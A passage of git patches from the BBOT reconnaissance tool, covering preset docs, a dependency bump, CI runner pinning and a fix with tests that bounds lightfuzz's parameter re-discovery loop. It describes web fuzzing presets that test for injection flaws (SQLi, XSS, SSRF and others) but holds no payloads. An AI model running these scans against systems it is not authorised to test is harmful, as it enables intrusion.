vulnerability | iis_shortnames, webbrute_shortnames | +| portscan | 2 | Discovers open ports | portscan, shodan_idb | +| social-enum | 2 | Enumerates social media | http, social | +| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | +| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | +| web-screenshots | 1 | Takes screenshots of web pages | gowitness | ## Dependencies diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index 506cd36379..d2190f5d2d 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -215,6 +215,7 @@ Hunt for leaked credentials and vulnerable libraries in client-side JavaScript - retirejs - robots - wayback + - js_unpacker config: modules: @@ -1027,7 +1028,7 @@ Here is a the same data, but in a table: | email-enum | | Enumerate email addresses from APIs, web crawling, etc. | 0 | | | fast | | Scan only the provided targets as fast as possible - no extra discovery | 0 | | | iis-shortnames | web | Recursively enumerate IIS shortnames | 0 | | -| js-audit | web | Hunt for leaked credentials and vulnerable libraries in client-side JavaScript | 6 | badsecrets, http, retirejs, robots, trufflehog, wayback | +| js-audit | web | Hunt for leaked credentials and vulnerable libraries in client-side JavaScript | 7 | badsecrets, http, js_unpacker, retirejs, robots, trufflehog, wayback | | kitchen-sink | | Everything everywhere all at once | 7 | baddns, baddns_direct, baddns_zone, http, hunt, reflected_parameters, webbrute | | lightfuzz | web | Default fuzzing: all 9 submodules (cmdi, crypto, path, serial, sqli, ssti, xss, esi, ssrf) plus companion modules (badsecrets, hunt, reflected_parameters). POST fuzzing disabled but try_post_as_get enabled, so POST params are retested as GET. Skips confirmed WAFs. | 7 | badsecrets, http, hunt, lightfuzz, nowafpls, portfilter, reflected_parameters | | lightfuzz-heavy | web | Aggressive fuzzing: everything in lightfuzz, plus paramminer brute-force parameter discovery (headers, GET params, cookies), POST request fuzzing enabled, try_get_as_post enabled (GET params retested as POST), and robots.txt parsing. Still skips confirmed WAFs. | 9 | badsecrets, http, hunt, lightfuzz, nowafpls, portfilter, reflected_parameters, robots, wayback | From f52732db1b5a871bf9eff810b8ad585175817d2a Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 28 Sep 2026 08:19:19 -0400 Subject: [PATCH 114/256] Bump pymdown-extensions from 12.0.1 to 12.1 (#3471) Bumps [pymdown-extensions](https://github.com/facelessuser/pymdown-extensions) from 12.0.1 to 12.1. - [Release notes](https://github.com/facelessuser/pymdown-extensions/releases) - [Commits](https://github.com/facelessuser/pymdown-extensions/compare/12.0.1...12.1) --- updated-dependencies: - dependency-name: pymdown-extensions dependency-version: '12.1' dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 890f9a7161..e615acf231 100644 --- a/uv.lock +++ b/uv.lock @@ -2288,15 +2288,15 @@ wheels = [ [[package]] name = "pymdown-extensions" -version = "12.0.1" +version = "12.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "markdown" }, { name = "pyyaml" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/eb/7e/53144b512818c75d459523e3a91d9bf7b65cd6a1dfb964fe690adc8b3670/pymdown_extensions-12.0.1.tar.gz", hash = "sha256:88fe2c97fb9153b9f2cc1da59f1d7c7cb74971110daf33cccb2a5514e0f7e970", size = 866904, upload-time = "2026-09-15T23:20:33.187Z" } +sdist = { url = "https://files.pythonhosted.org/packages/2a/94/858e0163cb4d83d6d8234018a01792c749a56daee41794cac7d6c46661e8/pymdown_extensions-12.1.tar.gz", hash = "sha256:fdb8f47f5d7fd069d10ef2a7d8908e613d7865ff0419d544a0ffd3984e884f11", size = 868245, upload-time = "2026-09-23T00:08:42Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/8c/30/c866b3ca8ad5cca79a3ee1a55c12d61d3e72381e5eadbfdaceb6006ebc84/pymdown_extensions-12.0.1-py3-none-any.whl", hash = "sha256:15d629e8035892b93d788a8424ccea754d4aa3cec247a64cbfe7b15089c9ad7f", size = 276957, upload-time = "2026-09-15T23:20:31.551Z" }, + { url = "https://files.pythonhosted.org/packages/36/d1/98313da89960a604402266a115311b510254900ff1295ea426403f9423cc/pymdown_extensions-12.1-py3-none-any.whl", hash = "sha256:4a254b771acfcddc6c110a7f4590d818f1f849e2d5aacf69b4b07c8dd2a9700d", size = 277069, upload-time = "2026-09-23T00:08:40.069Z" }, ] [[package]] From b2e54a8ae1cf727657a3908307f1b6940acb9cc1 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 28 Sep 2026 16:53:26 -0400 Subject: [PATCH 115/256] Drop Python 3.10, add Python 3.15 --- .github/workflows/tests.yml | 2 +- AGENTS.md | 2 +- pyproject.toml | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index d81333f76b..085b9d5f3a 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -17,7 +17,7 @@ jobs: # if one python version fails, let the others finish fail-fast: false matrix: - python-version: ["3.10", "3.11", "3.12", "3.13", "3.14"] + python-version: ["3.11", "3.12", "3.13", "3.14", "3.15"] steps: - uses: actions/checkout@v7 - name: Set up Python diff --git a/AGENTS.md b/AGENTS.md index 639171da86..cc3cc07e04 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -21,7 +21,7 @@ BBOT has extremely thorough tests, including **one or more individual tests for - **Package manager**: [uv](https://docs.astral.sh/uv/) - **Linter/formatter**: [ruff](https://docs.astral.sh/ruff/) (pinned to 0.15.10) - **Test framework**: [pytest](https://docs.pytest.org/) with pytest-asyncio -- **Python**: 3.10 - 3.14 +- **Python**: 3.11 - 3.15 --- diff --git a/pyproject.toml b/pyproject.toml index 37597ba560..aee64312e0 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ version = "3.0.2" description = "OSINT automation for hackers." readme = "README.md" license = "AGPL-3.0" -requires-python = ">=3.10,<3.15" +requires-python = ">=3.11,<3.16" authors = [ { name = "TheTechromancer" }, { name = "Paul Mueller" }, From e145a2f19fd6ad0a6dc769bb4129ce7a1db5d363 Mon Sep 17 00:00:00 2001 From: Shane Engelman Date: Mon, 28 Sep 2026 18:10:23 -0700 Subject: [PATCH 116/256] ci: pin the runner image (#3456) ubuntu-latest is a label GitHub moves. The image changes under us and a green pipeline turns red on a morning nobody touched the code. Pinning to ubuntu-24.04 means the runner moves when we move it. Action refs are untouched; the version-tagged ones stay as they are and Dependabot keeps watching them. --- .github/workflows/benchmark.yml | 2 +- .github/workflows/codeql.yml | 2 +- .github/workflows/distro_tests.yml | 2 +- .github/workflows/docs_updater.yml | 2 +- .github/workflows/tests.yml | 8 ++++---- .github/workflows/version_updater.yml | 4 ++-- 6 files changed, 10 insertions(+), 10 deletions(-) diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml index 6d36ec88bb..b5c0d460eb 100644 --- a/.github/workflows/benchmark.yml +++ b/.github/workflows/benchmark.yml @@ -17,7 +17,7 @@ permissions: jobs: benchmark: - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 steps: - uses: actions/checkout@v7 diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index 7117a72e89..a2de1b5cee 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -27,7 +27,7 @@ jobs: # - https://gh.io/supported-runners-and-hardware-resources # - https://gh.io/using-larger-runners (GitHub.com only) # Consider using larger runners or machines with greater resources for possible analysis time improvements. - runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }} + runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-24.04' }} permissions: # required for all workflows security-events: write diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml index 66ca3f03a4..86905cd445 100644 --- a/.github/workflows/distro_tests.yml +++ b/.github/workflows/distro_tests.yml @@ -8,7 +8,7 @@ concurrency: jobs: test-distros: - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 container: image: ${{ matrix.os }} strategy: diff --git a/.github/workflows/docs_updater.yml b/.github/workflows/docs_updater.yml index ee4e5253f9..96eed38d72 100644 --- a/.github/workflows/docs_updater.yml +++ b/.github/workflows/docs_updater.yml @@ -7,7 +7,7 @@ on: jobs: update_docs: - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 steps: - uses: actions/checkout@v7 with: diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index d81333f76b..86380a9984 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -12,7 +12,7 @@ concurrency: jobs: test: - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 strategy: # if one python version fails, let the others finish fail-fast: false @@ -53,7 +53,7 @@ jobs: verbose: true publish_code: needs: test - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 if: github.event_name == 'push' && (github.ref == 'refs/heads/dev' || github.ref == 'refs/heads/stable') continue-on-error: true steps: @@ -201,7 +201,7 @@ jobs: BBOT_VERSION: ${{ steps.version.outputs.BBOT_VERSION }} tag_commit: needs: publish_code - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 if: github.event_name == 'push' && (github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev') steps: - uses: actions/checkout@v7 @@ -222,7 +222,7 @@ jobs: git push origin "$VERSION" publish_docs: - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 if: github.event_name == 'push' && (github.ref == 'refs/heads/stable' || github.ref == 'refs/heads/dev') steps: - uses: actions/checkout@v7 diff --git a/.github/workflows/version_updater.yml b/.github/workflows/version_updater.yml index 6805c9a04c..6b5ccce315 100644 --- a/.github/workflows/version_updater.yml +++ b/.github/workflows/version_updater.yml @@ -7,7 +7,7 @@ on: jobs: update-nuclei-version: - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 steps: - uses: actions/checkout@v7 with: @@ -59,7 +59,7 @@ jobs: author: blsaccess assignees: "TheTechromancer" update-trufflehog-version: - runs-on: ubuntu-latest + runs-on: ubuntu-24.04 steps: - uses: actions/checkout@v7 with: From 167a458b6b58b0fa42d88d454a8a517759073167 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Thu, 1 Oct 2026 15:45:50 -0400 Subject: [PATCH 117/256] Fix unbounded lightfuzz queue growth from parameter re-discovery loop (#3405) * fix(events): dedupe WEB_PARAMETER on the page, not the full URL A parameter is identified by its name and type, so the query string of the request that revealed it is context rather than identity. Sites that rotate CSRF tokens or honeypot parameter names on every page load made each observation unique, so dedup never fired and lightfuzz's queue grew without bound. Scans that set url_querystring_collapse=False still treat sibling values as significant, normalized so ordering does not matter. * fix(lightfuzz): cap baseline response generations Every baseline response lightfuzz emits is mined by excavate, which hands the parameters it finds back to lightfuzz. Stop emitting past max_baseline_generations (default 10) so the cycle is bounded even where dedup cannot collapse it. * fix(scanner): reject URLs whose path repeats a path parameter Servers that append a session id to the path on every redirect emit an unbounded supply of URLs that dedup treats as distinct. Ingress now drops them past url_max_path_param_repeats (default 10). Only ";key=value" path parameters count; ordinary path segments do not, since a deep path that repeats a directory name is finite and depth is bounded by web_spider_depth. * Keep parameter names in the WEB_PARAMETER dedup key * Walk lightfuzz ancestry by identity, not data equality --- bbot/core/config/models.py | 1 + bbot/core/event/base.py | 19 +++- bbot/core/helpers/url.py | 41 ++++++++ bbot/defaults.yml | 2 + bbot/modules/lightfuzz/lightfuzz.py | 36 +++++++ bbot/scanner/manager.py | 12 +++ bbot/scanner/scanner.py | 3 + bbot/test/test_step_1/test_events.py | 69 +++++++++++++ bbot/test/test_step_1/test_helpers.py | 12 +++ bbot/test/test_step_1/test_scan.py | 44 +++++++++ .../module_tests/test_module_lightfuzz.py | 96 +++++++++++++++++++ 11 files changed, 333 insertions(+), 2 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index b6543951ad..08c6233d01 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -397,6 +397,7 @@ class BBOTConfig(BaseModel): # URL handling url_querystring_remove: Optional[bool] = None url_querystring_collapse: Optional[bool] = None + url_max_path_param_repeats: Optional[int] = None url_extension_blacklist: Optional[list[str]] = None url_extension_special: Optional[list[str]] = None url_extension_static: Optional[list[str]] = None diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index f47144de22..efcf12c68d 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1641,9 +1641,24 @@ def sanitize_data(self, data): log.verbose(f"Error detecting envelopes for {self}: {e}") return data + def _dedup_url(self, url): + """The page the parameter lives on, with the query string reduced the way URL events + reduce theirs: parameter names are identity, their values are not unless + url_querystring_collapse is False. Ordering never is.""" + base, sep, query = url.partition("?") + if not sep or self.scan is None: + return url + # keep_blank_values, or "?debug=" silently stops being a parameter + query_dict = parse_qs(query, keep_blank_values=True) + if self.scan.config.get("url_querystring_collapse", True): + kept = "|".join(sorted(query_dict.keys())) + else: + kept = "&".join(f"{k}={','.join(sorted(v))}" for k, v in sorted(query_dict.items())) + return f"{base}?{kept}" + def _data_id(self): # dedupe by url:name:param_type - url = self.data.get("url", "") + url = self._dedup_url(self.data.get("url", "")) name = self.data.get("name", "") param_type = self.data.get("type", "") envelopes = getattr(self, "envelopes", "") @@ -1655,7 +1670,7 @@ def _outgoing_dedup_hash(self, event): return hash( ( str(event.host), - event.data["url"], + event._dedup_url(event.data["url"]), event.data.get("name", ""), event.data.get("type", ""), event.data.get("envelopes", ""), diff --git a/bbot/core/helpers/url.py b/bbot/core/helpers/url.py index 91c7d8a01b..2d73074152 100644 --- a/bbot/core/helpers/url.py +++ b/bbot/core/helpers/url.py @@ -1,5 +1,6 @@ import uuid import logging +from collections import Counter from contextlib import suppress from urllib.parse import urlparse, parse_qs, urlencode, ParseResult @@ -211,6 +212,46 @@ def hash_url(url): return hash(tuple(to_hash)) +def max_path_param_repeats(url): + """ + Count how many times the most-repeated path parameter appears in a URL's path. + + Path (matrix) parameters are the ";key=value" pieces a server may append to a path + segment; some reissue one on every redirect, so the path grows without bound. Keys are + compared case-insensitively. Ordinary path segments are deliberately not counted: a deep + path that repeats a directory name is finite, and depth is bounded by web_spider_depth. + + Args: + url (Union[str, ParseResult]): The URL to inspect. + + Returns: + int: The highest number of times any single path parameter appears. + + Examples: + >>> max_path_param_repeats('https://www.evilcorp.com/foo/bar') + 0 + + >>> max_path_param_repeats('https://www.evilcorp.com/;JSESSIONID=a;JSESSIONID=b') + 2 + + >>> max_path_param_repeats('https://www.evilcorp.com/app;a=1/b;c=2') + 1 + """ + parsed = url if hasattr(url, "path") else parse_url(url) + # urlparse peels the final segment's matrix parameters off into .params + path = parsed.path + trailing_params = getattr(parsed, "params", "") + if trailing_params: + path = f"{path};{trailing_params}" + counts = Counter() + for segment in path.split("/"): + # the first ";"-delimited piece is the segment itself, not a parameter + for token in segment.split(";")[1:]: + if token: + counts[token.split("=", 1)[0].lower()] += 1 + return max(counts.values(), default=0) + + def url_depth(url): """ Calculate the depth of the given URL based on its path components. diff --git a/bbot/defaults.yml b/bbot/defaults.yml index cd34653e1d..a152c4f1b5 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -197,6 +197,8 @@ python: True url_querystring_remove: True # When query string is retained, by default collapse parameter values down to a single value per parameter url_querystring_collapse: True +# Reject URLs whose path repeats the same path parameter this many times (e.g. a session id appended on every redirect) +url_max_path_param_repeats: 10 # Completely ignore URLs with these extensions url_extension_blacklist: diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index a05e8071a1..77796058a2 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -50,6 +50,10 @@ class Config(BaseModuleConfig): True, description="Emit canonical baseline responses as HTTP_RESPONSE events so excavate can mine them for new params/URLs.", ) + max_baseline_generations: int = Field( + 10, + description="Stop emitting baseline responses once a parameter is this many lightfuzz generations deep, bounding excavate feedback loops.", + ) @field_validator("avoid_wafs", mode="before") @classmethod @@ -84,6 +88,8 @@ async def setup(self): avoid_wafs = "always" if avoid_wafs else "never" self.avoid_wafs = avoid_wafs.strip().lower() self.emit_baseline_responses = self.config.get("emit_baseline_responses", True) + self.max_baseline_generations = self.config.get("max_baseline_generations", 10) + self._baseline_generation_cap_hit = False self.submodules = {} # Per-event baseline cache so submodules with identical request signatures share one HttpCompare. self._baseline_cache = {} @@ -206,12 +212,42 @@ def store_cached_baseline(self, event, signature, http_compare): """Store an HttpCompare in the per-event baseline cache.""" self._baseline_cache.setdefault(event.id, {})[signature] = http_compare + def baseline_generations(self, event): + """How many lightfuzz-emitted events are already in this event's ancestry. + + Every baseline response we emit is mined by excavate, which hands the parameters it + finds back to us. Pages that vary their form on each load (rotating CSRF tokens, + honeypot fields) make each round look new, so the chain is bounded by counting it. + """ + count = 0 + e = event + while 1: + parent = e.parent + # `is`, not `==`: Event equality is hash-of-id, so two distinct events carrying + # equal data would end the walk and undercount everything above them + if parent is None or parent is e: + break + if getattr(parent.module, "name", "") == self.name: + count += 1 + if count >= self.max_baseline_generations: + break + e = parent + return count + async def emit_baseline_response(self, response, event, method): """Emit a baseline blasthttp Response as an HTTP_RESPONSE event so excavate can mine post-submit pages.""" if not self.emit_baseline_responses: return if response is None: return + if self.baseline_generations(event) >= self.max_baseline_generations: + if not self._baseline_generation_cap_hit: + self._baseline_generation_cap_hit = True + self.verbose( + f"Reached max_baseline_generations ({self.max_baseline_generations}) on {event.host}; " + "no longer emitting baseline responses for parameters nested this deep" + ) + return try: parsed = urlparse(str(response.url)) url_input = parsed.netloc or str(response.url) diff --git a/bbot/scanner/manager.py b/bbot/scanner/manager.py index b38ed07396..d9c7abccb3 100644 --- a/bbot/scanner/manager.py +++ b/bbot/scanner/manager.py @@ -2,6 +2,7 @@ from contextlib import suppress from radixtarget import host_size_key +from bbot.core.helpers.url import max_path_param_repeats from bbot.modules.base import BaseInterceptModule @@ -104,6 +105,17 @@ async def handle_event(self, event, **kwargs): ) event.add_tag("blacklisted") + # reject degenerate URL paths, which servers generate in unbounded numbers + parsed_url = getattr(event, "parsed_url", None) + if parsed_url is not None and self.scan.url_max_path_param_repeats > 0: + repeats = max_path_param_repeats(parsed_url) + if repeats >= self.scan.url_max_path_param_repeats: + self.debug( + f"Blacklisting {event} because its path repeats a parameter {repeats:,} times " + f"(url_max_path_param_repeats={self.scan.url_max_path_param_repeats:,})" + ) + event.add_tag("blacklisted") + # main scan blacklist host_filterable = getattr(event, "host_filterable", None) event_blacklisted = False diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 2379dcd940..324049d981 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -285,6 +285,9 @@ def __init__( # url querystring behavior self.url_querystring_remove = self.config.get("url_querystring_remove", True) + # reject URLs whose path repeats the same path parameter this many times + self.url_max_path_param_repeats = self.config.get("url_max_path_param_repeats", 10) + # blob inclusion self._file_blobs = self.config.get("file_blobs", False) self._folder_blobs = self.config.get("folder_blobs", False) diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index ed40105901..b43bc8b2f9 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -1488,3 +1488,72 @@ async def _instant_finish(ev, _orig=orig_queue): assert "original_value" in event.data, "original_value stripped during distribution -- sentinel missing" await scan._cleanup() + + +@pytest.mark.asyncio +async def test_web_parameter_querystring_dedup(): + """A parameter is identified by its name and type on a page, not by the query string of + the request that revealed it. url_querystring_collapse=False opts back in to treating + sibling parameter values as significant, so those scans fuzz each variant separately.""" + + def make_param(scan, url, name="message", param_type="POSTPARAM"): + return scan.make_event( + { + "host": "example.com", + "type": param_type, + "name": name, + "original_value": "", + "url": url, + "description": f"{param_type} [{name}]", + }, + "WEB_PARAMETER", + parent=scan.root_event, + ) + + base = "https://example.com/contact" + rotating_value = f"{base}?csrf=a08157098935259&id=6" + rotating_name = f"{base}?csrf=c19ae748d80ed939&id=6&aYBNT794ROfpo=0978126345" + + # collapse=True (the default, and what lightfuzz/lightfuzz-light inherit): a page that + # reissues a token on every load is still one work item + scan = Scanner("example.com", config={"url_querystring_remove": False, "url_querystring_collapse": True}) + await scan._prep() + a = make_param(scan, f"{base}?csrf=7f01d97aec3100c7&id=6") + e = make_param(scan, rotating_value) + assert a.data_id == e.data_id, "rotating parameter values must collapse" + assert hash(a) == hash(e) + assert a._outgoing_dedup_hash(a) == e._outgoing_dedup_hash(e) + # ...and ordering is not identity either + assert make_param(scan, f"{base}?id=6&csrf=7f01d97aec3100c7").data_id == a.data_id + + # a page that invents a new parameter NAME on every load does not collapse here. dedup + # structurally cannot fold those together, so lightfuzz's max_baseline_generations is + # what bounds that loop + assert make_param(scan, rotating_name).data_id != a.data_id + + # parameter names are part of the page's identity, so a front controller's pages stay + # separate work items while their values do not + assert make_param(scan, f"{base}?page=admin").data_id != make_param(scan, f"{base}?action=delete").data_id + assert make_param(scan, f"{base}?page=admin").data_id == make_param(scan, f"{base}?page=login").data_id + + # a blank value is still a parameter + assert make_param(scan, f"{base}?debug=&id=6").data_id != make_param(scan, f"{base}?id=6").data_id + + # a different parameter, page, or parameter type is still its own work item + assert make_param(scan, base, name="subject").data_id != a.data_id + assert make_param(scan, "https://example.com/other").data_id != a.data_id + assert make_param(scan, base, param_type="GETPARAM").data_id != a.data_id + await scan._cleanup() + + # collapse=False (lightfuzz-max, lightfuzz-xss): sibling values are significant again + scan = Scanner("example.com", config={"url_querystring_remove": False, "url_querystring_collapse": False}) + await scan._prep() + c = make_param(scan, f"{base}?csrf=7f01d97aec3100c7&id=6") + assert make_param(scan, rotating_value).data_id != c.data_id + assert make_param(scan, rotating_name).data_id != c.data_id + assert make_param(scan, base).data_id != c.data_id + # ...but the key still does not depend on parameter ordering + assert make_param(scan, f"{base}?id=6&csrf=7f01d97aec3100c7").data_id == c.data_id + # a blank value is significant in the mode whose whole point is that values are + assert make_param(scan, f"{base}?debug=&id=6").data_id != make_param(scan, f"{base}?id=6").data_id + await scan._cleanup() diff --git a/bbot/test/test_step_1/test_helpers.py b/bbot/test/test_step_1/test_helpers.py index d2a8505ba0..a8f7ae8b62 100644 --- a/bbot/test/test_step_1/test_helpers.py +++ b/bbot/test/test_step_1/test_helpers.py @@ -45,6 +45,18 @@ async def test_helpers_misc(helpers, scan, bbot_scanner, bbot_httpserver): with pytest.raises(ValueError): helpers.validators.clean_url("http://evilcorp,com") + # path parameters accumulate inside a path segment, and are keyed by name + assert helpers.max_path_param_repeats("http://evilcorp.com/;JSESSIONID=a") == 1 + assert helpers.max_path_param_repeats("http://evilcorp.com/;JSESSIONID=a;JSESSIONID=b;jsessionid=c") == 3 + assert helpers.max_path_param_repeats("http://evilcorp.com/app;a=1;b=2") == 1 + assert helpers.max_path_param_repeats("http://evilcorp.com/app;a=1/b;c=2") == 1 + # ordinary path segments are not parameters, however deep or repetitive the path + assert helpers.max_path_param_repeats("http://evilcorp.com/") == 0 + assert helpers.max_path_param_repeats("http://evilcorp.com/foo/bar") == 0 + assert helpers.max_path_param_repeats("http://evilcorp.com/" + "/".join(["a"] * 30)) == 0 + # the query string is not part of the path + assert helpers.max_path_param_repeats("http://evilcorp.com/foo?x=1&x=2&x=3") == 0 + assert helpers.url_depth("http://evilcorp.com/asdf/user/") == 2 assert helpers.url_depth("http://evilcorp.com/asdf/user") == 2 assert helpers.url_depth("http://evilcorp.com/asdf/") == 1 diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 2fc2d60a13..67167afb31 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -520,3 +520,47 @@ def mock_memory_status(): assert m.num_incoming_events == 0 scan.modules_status(_log=False) assert scan._ingress_delay == 0.0, "throttle must clear in drain mode (no producers, ingress is the drain)" + + +@pytest.mark.asyncio +async def test_url_max_path_param_repeats(): + """Servers that append a session id on every redirect, and spider traps, generate an + unbounded supply of URLs whose path repeats one key. Ingress drops them.""" + from bbot.scanner import Scanner + + def jsessionid_url(n): + return "http://evilcorp.com/" + "".join(f";JSESSIONID={i:08x}-2ab9-49eb" for i in range(n)) + + scan = Scanner("evilcorp.com", config={"url_max_path_param_repeats": 10}) + await scan._prep() + ingress = scan.ingress_module + + # handle_event returns None when it accepts, and (False, reason) when it rejects + + # below the limit the URL is scanned normally + shallow = scan.make_event(jsessionid_url(9), "URL_UNVERIFIED", parent=scan.root_event) + assert await ingress.handle_event(shallow) is None + assert "blacklisted" not in shallow.tags + + # at the limit it is rejected before reaching any module's queue + degenerate = scan.make_event(jsessionid_url(10), "URL_UNVERIFIED", parent=scan.root_event) + assert await ingress.handle_event(degenerate) == (False, "event is blacklisted") + assert "blacklisted" in degenerate.tags + + # ordinary URLs are untouched, however deep or repetitive the path + for url in ( + "http://evilcorp.com/api/v1/users/1", + "http://evilcorp.com/" + "/".join(["blacklanternsecurity"] * 20) + ".txt", + ): + normal = scan.make_event(url, "URL_UNVERIFIED", parent=scan.root_event) + assert await ingress.handle_event(normal) is None + assert "blacklisted" not in normal.tags + await scan._cleanup() + + # the guard can be disabled outright + scan = Scanner("evilcorp.com", config={"url_max_path_param_repeats": 0}) + await scan._prep() + off = scan.make_event(jsessionid_url(50), "URL_UNVERIFIED", parent=scan.root_event) + await scan.ingress_module.handle_event(off) + assert "blacklisted" not in off.tags + await scan._cleanup() diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 39715393a8..30c5dd5f3c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -11,7 +11,9 @@ import xml.etree.ElementTree as ET +from bbot.scanner import Scanner from bbot.core.helpers.url import add_get_params +from bbot.modules.lightfuzz.lightfuzz import lightfuzz from bbot.modules.base import BaseModule from bbot.core.helpers.nowafpls import BypassResult from bbot.modules.lightfuzz.submodules.base import BaseLightfuzz @@ -78,6 +80,100 @@ def test_lightfuzz_build_query_string_preserves_fragment(): assert result.endswith("#frag") +def _generation_chain(scan, depth, host="example.com", duplicate_at=None): + """An event whose ancestry contains `depth` lightfuzz-emitted events. + + Built from real events, so the walk meets real parent links and real equality, which is + hash-of-id and therefore data equality. `duplicate_at` gives one generation's excavate and + lightfuzz events the same URL, making a parent and child equal without being the same + object, which is the shape that truncates a walk keyed on `==`. + """ + modules = {name: scan._make_dummy_module(name) for name in ("http", "excavate", "lightfuzz")} + node = scan.make_event(f"https://{host}/", "URL_UNVERIFIED", parent=scan.root_event, module=modules["http"]) + for i in range(depth): + excavate_url = f"https://{host}/g{i}" + lightfuzz_url = excavate_url if i == duplicate_at else f"{excavate_url}/probe" + node = scan.make_event(excavate_url, "URL_UNVERIFIED", parent=node, module=modules["excavate"]) + node = scan.make_event(lightfuzz_url, "URL_UNVERIFIED", parent=node, module=modules["lightfuzz"]) + return scan.make_event(f"https://{host}/leaf", "URL_UNVERIFIED", parent=node, module=modules["excavate"]) + + +def _fake_baseline_response(url): + return SimpleNamespace( + url=url, + status=200, + raw_headers="Content-Type: text/html", + headers={"Content-Type": "text/html", "Content-Length": "5"}, + body_bytes=b"hello", + body="hello", + decode_error=None, + hash=SimpleNamespace( + body_md5="m", body_mmh3="m", body_sha256="s", header_md5="m", header_mmh3="m", header_sha256="s" + ), + cert_info=None, + ) + + +async def test_lightfuzz_baseline_generations_counts_ancestry(): + fake = SimpleNamespace(name="lightfuzz", max_baseline_generations=10) + count = lightfuzz.baseline_generations + scan = Scanner("example.com") + await scan._prep() + assert count(fake, _generation_chain(scan, 0)) == 0 + assert count(fake, _generation_chain(scan, 1)) == 1 + assert count(fake, _generation_chain(scan, 7)) == 7 + # counting stops at the cap instead of walking the rest of the chain + assert count(fake, _generation_chain(scan, 60)) == 10 + # an ancestor that merely carries the same data as its parent must not end the walk, + # or every generation above it stops being counted and the cap never fires + assert count(fake, _generation_chain(scan, 7, duplicate_at=5)) == 7 + await scan._cleanup() + + +async def test_lightfuzz_baseline_generation_cap_stops_emitting(): + """Baseline responses are what excavate mines to produce the next generation of + parameters, so past the cap they stop being emitted and the loop is starved.""" + emitted = [] + + async def _emit_event(*args, **kwargs): + emitted.append(args) + + def _fake_module(cap=3): + module = SimpleNamespace( + name="lightfuzz", + max_baseline_generations=cap, + emit_baseline_responses=True, + _baseline_generation_cap_hit=False, + emit_event=_emit_event, + verbose=lambda *a, **kw: None, + debug=lambda *a, **kw: None, + ) + module.baseline_generations = lambda event: lightfuzz.baseline_generations(module, event) + return module + + response = _fake_baseline_response("https://example.com/contact?csrf=abc") + scan = Scanner("example.com") + await scan._prep() + + # below the cap, the feedback edge stays open + module = _fake_module() + await lightfuzz.emit_baseline_response(module, response, _generation_chain(scan, 2), "GET") + assert len(emitted) == 1 + assert module._baseline_generation_cap_hit is False + + # at the cap, excavate gets nothing new to mine + emitted.clear() + module = _fake_module() + await lightfuzz.emit_baseline_response(module, response, _generation_chain(scan, 3), "GET") + assert emitted == [] + assert module._baseline_generation_cap_hit is True + + # deeper still stays capped + await lightfuzz.emit_baseline_response(module, response, _generation_chain(scan, 9), "GET") + assert emitted == [] + await scan._cleanup() + + # Path Traversal single dot tolerance class Test_Lightfuzz_path_singledot(ModuleTestBase): targets = [HTTPSERVER_URL] From c5cf189ed53a8301e35b295905135f4049685059 Mon Sep 17 00:00:00 2001 From: Shane Engelman 